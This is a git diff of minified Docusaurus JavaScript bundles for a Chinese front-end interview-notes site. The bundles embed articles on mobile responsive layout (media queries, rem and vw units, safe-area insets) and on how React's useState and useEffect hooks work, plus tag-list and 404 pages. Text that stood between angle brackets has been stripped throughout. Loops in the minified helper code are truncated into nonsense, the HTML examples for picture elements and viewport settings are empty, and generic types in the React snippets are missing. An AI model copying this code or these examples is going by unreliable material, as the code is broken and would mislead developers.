\u6765\u5b9e\u73b0\u7075\u6d3b\u7684\u7f51\u683c\u5e03\u5c40\u3002\u53ef\u4ee5\u6839\u636e\u4ee5\u4e0b\u6761\u4ef6\u6765\u9009\u62e9\u5e03\u5c40\u65b9\u6848\uff1a"),(0,i.kt)("ol",null,(0,i.kt)("li",{parentName:"ol"},(0,i.kt)("p",{parentName:"li"},(0,i.kt)("strong",{parentName:"p"},"\u9700\u8981\u4e00\u7ef4\u8fd8\u662f\u4e8c\u7ef4\u5e03\u5c40"),"\uff1aFlexbox \u57fa\u4e8e\u4e00\u6761\u4e3b\u8f74\u65b9\u5411\u8fdb\u884c\u5e03\u5c40\u3002CSS Grid \u53ef\u5212\u5206\u4e3a\u884c\u548c\u5217\u8fdb\u884c\u5e03\u5c40\u3002\u5982\u679c\u53ea\u9700\u8981\u6309\u7167\u884c\u6216\u5217\u8fdb\u884c\u5e03\u5c40\u5219\u4f7f\u7528 Flexbox\uff1b\u5982\u679c\u9700\u8981\u540c\u65f6\u6309\u7167\u884c\u548c\u5217\u63a7\u5236\u5e03\u5c40\u5219\u4f7f\u7528 CSS Grid\u3002")),(0,i.kt)("li",{parentName:"ol"},(0,i.kt)("p",{parentName:"li"},(0,i.kt)("strong",{parentName:"p"},"\u4e13\u6ce8\u5e03\u5c40\u7ed3\u6784\u8fd8\u662f\u5185\u5bb9\u6d41"),"\uff1aFlexbox \u4e13\u6ce8\u4e8e\u5185\u5bb9\u6d41\u3002Flex Item \u7684\u5bbd\u5ea6\u6216\u9ad8\u5ea6\u7531\u9879\u76ee\u4e2d\u7684\u5185\u5bb9\u51b3\u5b9a\u3002Flex Item \u6839\u636e\u5176\u5185\u90e8\u5185\u5bb9\u548c\u53ef\u7528\u7a7a\u95f4\u8fdb\u884c\u589e\u957f\u548c\u7f29\u5c0f\u3002CSS Grid \u4e13\u6ce8\u4e8e\u7cbe\u786e\u7684\u5185\u5bb9\u5e03\u5c40\u7ed3\u6784\u89c4\u5219\u3002\u6bcf\u4e2a Grid Item \u90fd\u662f\u4e00\u4e2a\u7f51\u683c\u5355\u5143\uff0c\u6cbf\u6c34\u5e73\u8f74\u548c\u5782\u76f4\u8f74\u6392\u5217\u3002\u5982\u679c\u5141\u8bb8\u5185\u5bb9\u7075\u6d3b\u7684\u5206\u914d\u7a7a\u95f4\u5219\u4f7f\u7528 Flexbox\uff1b\u5982\u679c\u9700\u8981\u51c6\u786e\u63a7\u5236\u5e03\u5c40\u4e2d\u9879\u76ee\u7684\u4f4d\u7f6e\u5219\u4f7f\u7528 CSS Grid\u3002"))),(0,i.kt)("p",null,(0,i.kt)("img",{parentName:"p",src:"https://user-images.githubusercontent.com/17002181/129393911-324a2f65-30c3-423d-9825-cc3b4d5e3d9e.png",alt:"image"})),(0,i.kt)("h3",{id:"4-\u4f7f\u7528\u5a92\u4f53\u67e5\u8be2media-queries"},"4. \u4f7f\u7528\u5a92\u4f53\u67e5\u8be2\uff08Media Queries\uff09"),(0,i.kt)("p",null,"\u5a92\u4f53\u67e5\u8be2\u5141\u8bb8\u5f00\u53d1\u8005\u6839\u636e\u8bbe\u5907\u7c7b\u578b\u548c\u7279\u5f81\uff08\u5982\u5c4f\u5e55\u5206\u8fa8\u7387\u6216\u6d4f\u89c8\u5668\u89c6\u53e3\u5bbd\u5ea6\uff09\u6765\u6309\u9700\u8bbe\u7f6e\u6837\u5f0f\u3002"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-css"},"/* \u5f53\u6d4f\u89c8\u5668\u5bbd\u5ea6\u81f3\u5c11\u5728 600px \u53ca\u4ee5\u4e0a\u65f6 */\n@media screen and (min-width: 600px) {\n .hzfe {\n /* \u5bf9 .hzfe \u5e94\u7528\u67d0\u4e9b\u6837\u5f0f */\n }\n}\n\n/* \u5f53\u8bbe\u5907 DPR \u4e3a2\u65f6\u7684\u6837\u5f0f */\n@media screen and (-webkit-min-device-pixel-ratio: 2) {\n .border-1 {\n border-width: 0.5px;\n }\n}\n")),(0,i.kt)("h3",{id:"5-\u4f7f\u7528\u76f8\u5bf9\u5355\u4f4d"},"5. \u4f7f\u7528\u76f8\u5bf9\u5355\u4f4d"),(0,i.kt)("p",null,"\u79fb\u52a8\u7aef\u5f00\u53d1\u9700\u8981\u9762\u5bf9\u5341\u5206\u7e41\u6742\u7684\u7ec8\u7aef\u8bbe\u5907\u5c3a\u5bf8\u3002\u9664\u4e86\u4f7f\u7528\u54cd\u5e94\u5f0f\u5e03\u5c40\u3001\u5a92\u4f53\u67e5\u8be2\u7b49\u65b9\u6848\u4e4b\u5916\uff0c\u5728\u5bf9\u5143\u7d20\u8fdb\u884c\u5e03\u5c40\u65f6\uff0c\u4e00\u822c\u4f1a\u4f7f\u7528\u76f8\u5bf9\u5355\u4f4d\u6765\u83b7\u5f97\u66f4\u591a\u7684\u7075\u6d3b\u6027\u3002"),(0,i.kt)("p",null,(0,i.kt)("strong",{parentName:"p"},"rem")),(0,i.kt)("p",null,"\u6839\u636e W3C \u89c4\u8303\u53ef\u77e5\uff0c1rem \u7b49\u540c\u4e8e\u6839\u5143\u7d20 html \u7684 font-size \u5927\u5c0f\u3002"),(0,i.kt)("p",null,"\u7531\u4e8e\u65e9\u671f vw\u3001vh \u517c\u5bb9\u6027\u4e0d\u4f73\uff0c\u4e00\u4e2a\u4f7f\u7528\u5e7f\u6cdb\u7684\u79fb\u52a8\u7aef\u9002\u914d\u65b9\u6848 flexible \u662f\u501f\u52a9 rem \u6765\u6a21\u62df vw \u7279\u6027\u5b9e\u73b0\u79fb\u52a8\u7aef\u9002\u914d\u3002\u5728\u8bbe\u8ba1\u4e0e\u5f00\u53d1\u65f6\uff0c\u901a\u5e38\u4f1a\u7ea6\u5b9a\u67d0\u4e00\u79cd\u5c3a\u5bf8\u4e3a\u5f00\u53d1\u57fa\u51c6\u3002\u5f00\u53d1\u8005\u53ef\u4ee5\u5229\u7528\u5de5\u5177\uff08\u5982 px2rem\uff09\u8fdb\u884c\u7edd\u5bf9\u5355\u4f4d px \u548c\u5176\u4ed6 rem \u5355\u4f4d\u7684\u81ea\u52a8\u6362\u7b97\uff0c\u7136\u540e\u5229\u7528 flexible \u811a\u672c\u52a8\u6001\u8bbe\u7f6e html \u7684\u5b57\u4f53\u5927\u5c0f\u548c",(0,i.kt)("inlineCode",{parentName:"p"},''),"\u3002"),(0,i.kt)("p",null,(0,i.kt)("strong",{parentName:"p"},"vw/vh")),(0,i.kt)("p",null,"\u7531\u4e8e\u76ee\u524d vw\u3001vh \u76f8\u5173\u5355\u4f4d\u83b7\u5f97\u4e86\u66f4\u591a\u6d4f\u89c8\u5668\u7684\u652f\u6301\uff0c\u53ef\u4ee5\u76f4\u63a5\u4f7f\u7528 vw\u3001vh \u5355\u4f4d\u8fdb\u884c\u79fb\u52a8\u7aef\u5f00\u53d1\u3002"),(0,i.kt)("p",null,"\u540c\u7406\u4e8e flexible \u65b9\u6848\uff0c\u4f7f\u7528 vw\u3001vh \u4e5f\u9700\u8981\u5bf9\u8bbe\u8ba1\u7a3f\u4e2d\u7684\u5c3a\u5bf8\u8fdb\u884c\u6362\u7b97\uff0c\u5c06 px \u8f6c\u6362\u4e3a vw \u503c\uff0c\u5e38\u89c1\u7684\u5de5\u5177\u5982 postcss-px-to-viewport \u7b49\u53ef\u4ee5\u6ee1\u8db3\u9700\u6c42\u3002"),(0,i.kt)("p",null,(0,i.kt)("img",{parentName:"p",src:"https://user-images.githubusercontent.com/17002181/129445686-b8265558-c270-4ad8-b8f9-e9773d00e923.png",alt:"image"})),(0,i.kt)("h3",{id:"6-\u4f7f\u7528\u54cd\u5e94\u5f0f\u56fe\u7247"},"6. \u4f7f\u7528\u54cd\u5e94\u5f0f\u56fe\u7247"),(0,i.kt)("p",null,"\u5c55\u793a\u56fe\u7247\u65f6\uff0c\u53ef\u4ee5\u5728 picture \u5143\u7d20\u4e2d\u5b9a\u4e49\u96f6\u6216\u591a\u4e2a source \u5143\u7d20\u548c\u4e00\u4e2a img \u5143\u7d20\uff0c\u4ee5\u4fbf\u4e3a\u4e0d\u540c\u7684\u663e\u793a/\u8bbe\u5907\u573a\u666f\u63d0\u4f9b\u56fe\u50cf\u7684\u66ff\u4ee3\u7248\u672c\u3002\u4ece\u800c\u4f7f\u5f97\u56fe\u7247\u5185\u5bb9\u80fd\u591f\u7075\u6d3b\u54cd\u5e94\u4e0d\u540c\u7684\u8bbe\u5907\uff0c\u907f\u514d\u51fa\u73b0\u56fe\u7247\u6a21\u7cca\u6216\u89c6\u89c9\u6548\u679c\u5dee\u4ee5\u53ca\u4f7f\u7528\u8fc7\u5927\u56fe\u7247\u6d6a\u8d39\u5e26\u5bbd\u7684\u95ee\u9898\u3002"),(0,i.kt)("p",null,"source \u5143\u7d20\u53ef\u4ee5\u6309\u9700\u914d\u7f6e srcset\u3001media\u3001sizes \u7b49\u5c5e\u6027\uff0c\u4ee5\u4fbf\u7528\u6237\u4ee3\u7406\u4e3a\u4e0d\u540c\u5a92\u4f53\u67e5\u8be2\u8303\u56f4\u6216\u50cf\u7d20\u5bc6\u5ea6\u6bd4\u7684\u8bbe\u5907\u914d\u7f6e\u5bf9\u5e94\u7684\u56fe\u7247\u8d44\u6e90\u3002\u5982\u679c\u6ca1\u6709\u627e\u5230\u5339\u914d\u7684\u56fe\u50cf\u6216\u6d4f\u89c8\u5668\u4e0d\u652f\u6301 picture \u5143\u7d20\uff0c\u5219\u4f7f\u7528 img \u5143\u7d20\u4f5c\u4e3a\u56de\u9000\u65b9\u6848\u3002"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-html"},'\n \n \n \n \n\n')),(0,i.kt)("h3",{id:"7-\u9002\u914d\u5b89\u5168\u533a\u57df"},"7. \u9002\u914d\u5b89\u5168\u533a\u57df"),(0,i.kt)("p",null,"\u7531\u4e8e\u624b\u673a\u5382\u5546\u5404\u6709\u7279\u8272\uff0c\u76ee\u524d\u624b\u673a\u4e0a\u5e38\u89c1\u6709\u5706\u89d2\uff08corners\uff09\u3001\u5218\u6d77\uff08sensor housing\uff09\u548c\u5c0f\u9ed1\u6761\uff08Home Indicator\uff09\u7b49\u7279\u5f81\u3002\u4e3a\u4fdd\u8bc1\u9875\u9762\u7684\u663e\u793a\u6548\u679c\u4e0d\u88ab\u8fd9\u4e9b\u7279\u5f81\u906e\u76d6\uff0c\u9700\u8981\u628a\u9875\u9762\u9650\u5236\u5728\u5b89\u5168\u533a\u57df\u8303\u56f4\u5185\u3002"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-html"},'\n')),(0,i.kt)("p",null,"\u8bbe\u7f6e ",(0,i.kt)("inlineCode",{parentName:"p"},"viewport-fit=cover")," \u540e\uff0c\u6309\u9700\u501f\u52a9\u4ee5\u4e0b\u9884\u8bbe\u7684\u73af\u5883\u53d8\u91cf\uff0c\u5bf9\u5143\u7d20\u5e94\u7528 padding\uff0c\u4ece\u800c\u786e\u4fdd\u5b83\u4eec\u4e0d\u4f1a\u88ab\u4e00\u4e9b\u4ee5\u4e0a\u7279\u5f81\u906e\u76d6\uff1a"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},"safe-area-inset-left"),(0,i.kt)("li",{parentName:"ul"},"safe-area-inset-right"),(0,i.kt)("li",{parentName:"ul"},"safe-area-inset-top"),(0,i.kt)("li",{parentName:"ul"},"safe-area-inset-bottom")),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-css"},"/* \u4f8b\u5b50\uff1a\u517c\u5bb9\u5218\u6d77\u5c4f */\nbody {\n /* constant \u51fd\u6570\u517c\u5bb9 iOS 11.2 \u4ee5\u4e0b*/\n padding-top: constant(safe-area-inset-top);\n /* env \u51fd\u6570\u517c\u5bb9 iOS 11.2 */\n padding-top: env(safe-area-inset-top);\n}\n")),(0,i.kt)("h2",{id:"\u53c2\u8003\u8d44\u6599"},"\u53c2\u8003\u8d44\u6599"),(0,i.kt)("ol",null,(0,i.kt)("li",{parentName:"ol"},(0,i.kt)("a",{parentName:"li",href:"http://iosres.com/"},"iOSRes")),(0,i.kt)("li",{parentName:"ol"},(0,i.kt)("a",{parentName:"li",href:"https://developer.mozilla.org/en-US/docs/Web/CSS/Viewport_concepts"},"Viewport concepts")),(0,i.kt)("li",{parentName:"ol"},(0,i.kt)("a",{parentName:"li",href:"https://www.quirksmode.org/mobile/viewports.html"},"A tale of two viewports")),(0,i.kt)("li",{parentName:"ol"},(0,i.kt)("a",{parentName:"li",href:"https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Responsive_Design"},"Responsive Design")),(0,i.kt)("li",{parentName:"ol"},(0,i.kt)("a",{parentName:"li",href:"https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout"},"Relationship of grid layout to other layout methods")),(0,i.kt)("li",{parentName:"ol"},(0,i.kt)("a",{parentName:"li",href:"https://webkit.org/blog/7929/designing-websites-for-iphone-x/"},"Designing Websites for iPhone X"))))}c.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/3720c009.9756b5dd.js b/assets/js/3720c009.9756b5dd.js new file mode 100644 index 0000000..64b1b7f --- /dev/null +++ b/assets/js/3720c009.9756b5dd.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkjjbook=self.webpackChunkjjbook||[]).push([[3751],{3316:function(e,t,a){a.r(t),a.d(t,{default:function(){return i}});var n=a(7294),r=a(261),l=a(1773),c=a(7211),s="tag_21yA";function m(e){var t=e.letterEntry;return n.createElement("article",null,n.createElement("h2",null,t.letter),n.createElement("ul",{className:"padding--none"},t.tags.map((function(e){return n.createElement("li",{key:e.permalink,className:s},n.createElement(c.Z,e))}))),n.createElement("hr",null))}var u=function(e){var t=e.tags,a=(0,l.PZ)(t);return n.createElement("section",{className:"margin-vert--lg"},a.map((function(e){return n.createElement(m,{key:e.letter,letterEntry:e})})))};var i=function(e){var t=e.tags,a=(0,l.MA)();return n.createElement(r.Z,{title:a,wrapperClassName:l.kM.wrapper.docPages,pageClassName:l.kM.page.docsTagsListPage,searchMetadatas:{tag:"doc_tags_list"}},n.createElement("div",{className:"container margin-vert--lg"},n.createElement("div",{className:"row"},n.createElement("main",{className:"col col--8 col--offset-2"},n.createElement("h1",null,a),n.createElement(u,{tags:t})))))}},7211:function(e,t,a){a.d(t,{Z:function(){return u}});var n=a(7294),r=a(6010),l=a(6742),c="tag_1Okp",s="tagRegular_3MiF",m="tagWithCount_1HU1";var u=function(e){var t,a=e.permalink,u=e.name,i=e.count;return n.createElement(l.Z,{href:a,className:(0,r.Z)(c,(t={},t[s]=!i,t[m]=i,t))},u,i&&n.createElement("span",null,i))}}}]); \ No newline at end of file diff --git a/assets/js/3bd79dc4.8e04cafd.js b/assets/js/3bd79dc4.8e04cafd.js new file mode 100644 index 0000000..335f504 --- /dev/null +++ b/assets/js/3bd79dc4.8e04cafd.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkjjbook=self.webpackChunkjjbook||[]).push([[1440],{3905:function(e,t,n){n.d(t,{Zo:function(){return u},kt:function(){return d}});var o=n(7294);function a(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function r(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,o)}return n}function i(e){for(var t=1;t=0||(a[n]=e[n]);return a}(e,t);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);for(o=0;o=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}var s=o.createContext({}),c=function(e){var t=o.useContext(s),n=t;return e&&(n="function"==typeof e?e(t):i(i({},t),e)),n},u=function(e){var t=c(e.components);return o.createElement(s.Provider,{value:t},e.children)},p={inlineCode:"code",wrapper:function(e){var t=e.children;return o.createElement(o.Fragment,{},t)}},k=o.forwardRef((function(e,t){var n=e.components,a=e.mdxType,r=e.originalType,s=e.parentName,u=l(e,["components","mdxType","originalType","parentName"]),k=c(n),d=a,m=k["".concat(s,".").concat(d)]||k[d]||p[d]||r;return n?o.createElement(m,i(i({ref:t},u),{},{components:n})):o.createElement(m,i({ref:t},u))}));function d(e,t){var n=arguments,a=t&&t.mdxType;if("string"==typeof e||a){var r=n.length,i=new Array(r);i[0]=k;var l={};for(var s in t)hasOwnProperty.call(t,s)&&(l[s]=t[s]);l.originalType=e,l.mdxType="string"==typeof e?e:a,i[1]=l;for(var c=2;c (memoizedState[_cursor] = newValue);\n // \u6e38\u6807\u81ea\u589e\uff0c\u4e3a\u63a5\u4e0b\u6765\u8c03\u7528\u7684 hook \u4f7f\u7528\u65f6\uff0c\u5f15\u7528 memoizedState \u4e2d\u7684\u65b0\u4f4d\u7f6e\n cursor += 1;\n return [state, setState];\n}\n")),(0,r.kt)("p",null,"\u5b9e\u9645\u7684 useState \u5b9e\u73b0\u7ecf\u8fc7\u591a\u65b9\u9762\u7684",(0,r.kt)("a",{parentName:"p",href:"https://overreacted.io/why-do-hooks-rely-on-call-order/"},"\u7efc\u5408\u8003\u8651"),"\uff0cReact \u6700\u7ec8\u9009\u62e9\u5c06 Hooks \u8bbe\u8ba1\u4e3a\u987a\u5e8f\u7ed3\u6784\uff0c\u8fd9\u4e5f\u662f Hooks \u4e0d\u80fd\u6761\u4ef6\u8c03\u7528\u7684\u539f\u56e0\u3002"),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-js"},'function mountState(\n initialState: (() => S) | S\n): [S, Dispatch>] {\n // \u521b\u5efa Hook\uff0c\u5e76\u5c06\u5f53\u524d Hook \u6dfb\u52a0\u5230 Hooks \u94fe\u8868\u4e2d\n const hook = mountWorkInProgressHook();\n // \u5982\u679c\u521d\u59cb\u503c\u662f\u51fd\u6570\uff0c\u5219\u8c03\u7528\u51fd\u6570\u53d6\u5f97\u521d\u59cb\u503c\n if (typeof initialState === "function") {\n initialState = initialState();\n }\n hook.memoizedState = hook.baseState = initialState;\n // \u521b\u5efa\u4e00\u4e2a\u94fe\u8868\u6765\u5b58\u653e\u66f4\u65b0\u5bf9\u8c61\n const queue = (hook.queue = {\n pending: null,\n dispatch: null,\n lastRenderedReducer: basicStateReducer,\n lastRenderedState: initialState,\n });\n // dispatch \u7528\u4e8e\u4fee\u6539\u72b6\u6001\uff0c\u5e76\u5c06\u6b64\u6b21\u66f4\u65b0\u6dfb\u52a0\u5230\u66f4\u65b0\u5bf9\u8c61\u94fe\u8868\u4e2d\n const dispatch: Dispatch> = (queue.dispatch =\n (dispatchAction.bind(null, currentlyRenderingFiber, queue): any));\n return [hook.memoizedState, dispatch];\n}\n')),(0,r.kt)("h4",{id:"21-\u526f\u4f5c\u7528-hook"},"2.1 \u526f\u4f5c\u7528 Hook"),(0,r.kt)("p",null,"\u6a21\u62df\u7684 useEffect \u5b9e\u73b0\uff0c\u540c\u6837\u5229\u7528\u4e86 memoizedState \u95ed\u5305\u6765\u5b58\u50a8\u4f9d\u8d56\u6570\u7ec4\u3002\u4f9d\u8d56\u6570\u7ec4\u8fdb\u884c\u6d45\u6bd4\u8f83\uff0c\u9ed8\u8ba4\u7684\u6bd4\u8f83\u7b97\u6cd5\u662f ",(0,r.kt)("inlineCode",{parentName:"p"},"Object.is"),"\u3002"),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-js"},"function useEffect(cb, depArray) {\n const oldDeps = memoizedState[cursor];\n let hasChange = true;\n if (oldDeps) {\n // \u5bf9\u6bd4\u4f20\u5165\u7684\u4f9d\u8d56\u6570\u7ec4\u4e0e\u95ed\u5305\u4e2d\u4fdd\u5b58\u7684\u65e7\u4f9d\u8d56\u6570\u7ec4\uff0c\u91c7\u7528\u6d45\u6bd4\u8f83\u7b97\u6cd5\n hasChange = depArray.some((dep, i) => !Object.is(dep, oldDeps[i]));\n }\n if (hasChange) cb();\n memoizedState[cursor] = depArray;\n cursor++;\n}\n")),(0,r.kt)("p",null,"\u5b9e\u9645\u7684 useEffect \u5b9e\u73b0\uff1a"),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-js"},"function mountEffect(\n create: () => (() => void) | void,\n deps: Array | void | null\n): void {\n return mountEffectImpl(\n UpdateEffect | PassiveEffect, // fiberFlags\n HookPassive, // hookFlags\n create,\n deps\n );\n}\nfunction mountEffectImpl(fiberFlags, hookFlags, create, deps): void {\n // \u521b\u5efahook\n const hook = mountWorkInProgressHook();\n const nextDeps = deps === undefined ? null : deps;\n // \u8bbe\u7f6e workInProgress \u7684\u526f\u4f5c\u7528\u6807\u8bb0\n currentlyRenderingFiber.flags |= fiberFlags; // fiberFlags \u88ab\u6807\u8bb0\u5230 workInProgress\n // \u521b\u5efa Effect, \u6302\u8f7d\u5230 hook.memoizedState \u4e0a\n hook.memoizedState = pushEffect(\n HookHasEffect | hookFlags, // hookFlags \u7528\u4e8e\u521b\u5efa effect\n create,\n undefined,\n nextDeps\n );\n}\n")),(0,r.kt)("h3",{id:"3-hooks-\u5982\u4f55\u4e0e-fiber-\u5171\u540c\u5de5\u4f5c"},"3. Hooks \u5982\u4f55\u4e0e Fiber \u5171\u540c\u5de5\u4f5c"),(0,r.kt)("p",null,"\u5728\u4e86\u89e3\u5982\u4f55\u5de5\u4f5c\u4e4b\u524d\uff0c\u5148\u770b\u770b Hook \u4e0e Fiber \u7684\u90e8\u5206\u7ed3\u6784\u5b9a\u4e49\uff1a"),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-js"},"export type Hook = {\n memoizedState: any, // \u6700\u65b0\u7684\u72b6\u6001\u503c\n baseState: any, // \u521d\u59cb\u72b6\u6001\u503c\n baseQueue: Update | null,\n queue: UpdateQueue | null, // \u73af\u5f62\u94fe\u8868\uff0c\u5b58\u50a8\u7684\u662f\u8be5 hook \u591a\u6b21\u8c03\u7528\u4ea7\u751f\u7684\u66f4\u65b0\u5bf9\u8c61\n next: Hook | null, // next \u6307\u9488\uff0c\u4e4b\u4e0b\u94fe\u8868\u4e2d\u7684\u4e0b\u4e00\u4e2a Hook\n};\n")),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-js"},"export type Fiber = {\n updateQueue: mixed, // \u5b58\u50a8 Fiber \u8282\u70b9\u76f8\u5173\u7684\u526f\u4f5c\u7528\u94fe\u8868\n memoizedState: any, // \u5b58\u50a8 Fiber \u8282\u70b9\u76f8\u5173\u7684\u72b6\u6001\u503c\n\n flags: Flags, // \u6807\u8bc6\u5f53\u524d Fiber \u8282\u70b9\u662f\u5426\u6709\u526f\u4f5c\u7528\n};\n")),(0,r.kt)("p",null,"\u4e0e\u4e0a\u8282\u4e2d\u7684\u6a21\u62df\u5b9e\u73b0\u4e0d\u540c\uff0c\u771f\u5b9e\u7684 Hooks \u662f\u4e00\u4e2a\u5355\u94fe\u8868\u7684\u7ed3\u6784\uff0cReact \u6309 Hooks \u7684\u6267\u884c\u987a\u5e8f\u4f9d\u6b21\u5c06 Hook \u8282\u70b9\u6dfb\u52a0\u5230\u94fe\u8868\u4e2d\u3002\u4e0b\u9762\u4ee5 useState \u548c useEffect \u4e24\u4e2a\u6700\u5e38\u7528\u7684 hook \u4e3a\u4f8b\uff0c\u6765\u5206\u6790 Hooks \u5982\u4f55\u4e0e Fiber \u5171\u540c\u5de5\u4f5c\u3002"),(0,r.kt)("p",null,"\u5728\u6bcf\u4e2a",(0,r.kt)("strong",{parentName:"p"},"\u72b6\u6001 Hook"),"\uff08\u5982 useState\uff09\u8282\u70b9\u4e2d\uff0c\u4f1a\u901a\u8fc7 queue \u5c5e\u6027\u4e0a\u7684\u5faa\u73af\u94fe\u8868\u8bb0\u4f4f\u6240\u6709\u7684\u66f4\u65b0\u64cd\u4f5c\uff0c\u5e76\u5728 updade \u9636\u6bb5\u4f9d\u6b21\u6267\u884c\u5faa\u73af\u94fe\u8868\u4e2d\u7684\u6240\u6709\u66f4\u65b0\u64cd\u4f5c\uff0c\u6700\u7ec8\u62ff\u5230\u6700\u65b0\u7684 state \u8fd4\u56de\u3002"),(0,r.kt)("p",null,"\u72b6\u6001 Hooks \u7ec4\u6210\u7684\u94fe\u8868\u7684\u5177\u4f53\u7ed3\u6784\u5982\u4e0b\u56fe\u6240\u793a\uff1a"),(0,r.kt)("p",null,(0,r.kt)("img",{parentName:"p",src:"https://user-images.githubusercontent.com/4338052/130256374-80a453a4-2084-4bb8-bfba-2344f25100c4.png",alt:"State Hook"})),(0,r.kt)("p",null,"\u5728\u6bcf\u4e2a",(0,r.kt)("strong",{parentName:"p"},"\u526f\u4f5c\u7528 Hook"),"\uff08\u5982 useEffect\uff09\u8282\u70b9\u4e2d\uff0c\u521b\u5efa effect \u6302\u8f7d\u5230 Hook \u7684 memoizedState \u4e2d\uff0c\u5e76\u6dfb\u52a0\u5230\u73af\u5f62\u94fe\u8868\u7684\u672b\u5c3e\uff0c\u8be5\u94fe\u8868\u4f1a\u4fdd\u5b58\u5230 Fiber \u8282\u70b9\u7684 updateQueue \u4e2d\uff0c\u5728 commit \u9636\u6bb5\u6267\u884c\u3002"),(0,r.kt)("p",null,"\u526f\u4f5c\u7528 Hooks \u7ec4\u6210\u7684\u94fe\u8868\u7684\u5177\u4f53\u7ed3\u6784\u5982\u4e0b\u56fe\u6240\u793a\uff1a"),(0,r.kt)("p",null,(0,r.kt)("img",{parentName:"p",src:"https://user-images.githubusercontent.com/4338052/130258719-4a2ad7d5-3a0b-4f9c-b278-1f35a0b96843.png",alt:"Effect Hook"})),(0,r.kt)("h2",{id:"\u53c2\u8003\u8d44\u6599"},"\u53c2\u8003\u8d44\u6599"),(0,r.kt)("ol",null,(0,r.kt)("li",{parentName:"ol"},(0,r.kt)("a",{parentName:"li",href:"https://overreacted.io/why-do-hooks-rely-on-call-order/"},"Why Do React Hooks Rely on Call Order?")),(0,r.kt)("li",{parentName:"ol"},(0,r.kt)("a",{parentName:"li",href:"https://medium.com/@ryardley/react-hooks-not-magic-just-arrays-cd4f1857236e"},"React hooks: not magic, just arrays"))))}k.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/4608.8a3774b4.js b/assets/js/4608.8a3774b4.js new file mode 100644 index 0000000..c720dad --- /dev/null +++ b/assets/js/4608.8a3774b4.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkjjbook=self.webpackChunkjjbook||[]).push([[4608],{4608:function(e,t,o){o.r(t);var n=o(7294),a=o(261),l=o(4973);t.default=function(){return n.createElement(a.Z,{title:(0,l.I)({id:"theme.NotFound.title",message:"Page Not Found"})},n.createElement("main",{className:"container margin-vert--xl"},n.createElement("div",{className:"row"},n.createElement("div",{className:"col col--6 col--offset-3"},n.createElement("h1",{className:"hero__title"},n.createElement(l.Z,{id:"theme.NotFound.title",description:"The title of the 404 page"},"Page Not Found")),n.createElement("p",null,n.createElement(l.Z,{id:"theme.NotFound.p1",description:"The first paragraph of the 404 page"},"We could not find what you were looking for.")),n.createElement("p",null,n.createElement(l.Z,{id:"theme.NotFound.p2",description:"The 2nd paragraph of the 404 page"},"Please contact the owner of the site that linked you to the original URL and let them know their link is broken."))))))}}}]); \ No newline at end of file diff --git a/assets/js/505fc875.9a1cd849.js b/assets/js/505fc875.9a1cd849.js new file mode 100644 index 0000000..42106a6 --- /dev/null +++ b/assets/js/505fc875.9a1cd849.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkjjbook=self.webpackChunkjjbook||[]).push([[334],{3905:function(t,e,n){n.d(e,{Zo:function(){return T},kt:function(){return s}});var r=n(7294);function l(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}function o(t,e){var n=Object.keys(t);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(t);e&&(r=r.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),n.push.apply(n,r)}return n}function a(t){for(var e=1;e=0||(l[n]=t[n]);return l}(t,e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(t);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(t,n)&&(l[n]=t[n])}return l}var i=r.createContext({}),u=function(t){var e=r.useContext(i),n=e;return t&&(n="function"==typeof t?t(e):a(a({},e),t)),n},T=function(t){var e=u(t.components);return r.createElement(i.Provider,{value:e},t.children)},k={inlineCode:"code",wrapper:function(t){var e=t.children;return r.createElement(r.Fragment,{},e)}},c=r.forwardRef((function(t,e){var n=t.components,l=t.mdxType,o=t.originalType,i=t.parentName,T=p(t,["components","mdxType","originalType","parentName"]),c=u(n),s=l,m=c["".concat(i,".").concat(s)]||c[s]||k[s]||o;return n?r.createElement(m,a(a({ref:e},T),{},{components:n})):r.createElement(m,a({ref:e},T))}));function s(t,e){var n=arguments,l=e&&e.mdxType;if("string"==typeof t||l){var o=n.length,a=new Array(o);a[0]=c;var p={};for(var i in e)hasOwnProperty.call(e,i)&&(p[i]=e[i]);p.originalType=t,p.mdxType="string"==typeof t?t:l,a[1]=p;for(var u=2;u=0||(o[r]=e[r]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(o[r]=e[r])}return o}var u=n.createContext({}),p=function(e){var t=n.useContext(u),r=t;return e&&(r="function"==typeof e?e(t):a(a({},t),e)),r},l=function(e){var t=p(e.components);return n.createElement(u.Provider,{value:t},e.children)},f={inlineCode:"code",wrapper:function(e){var t=e.children;return 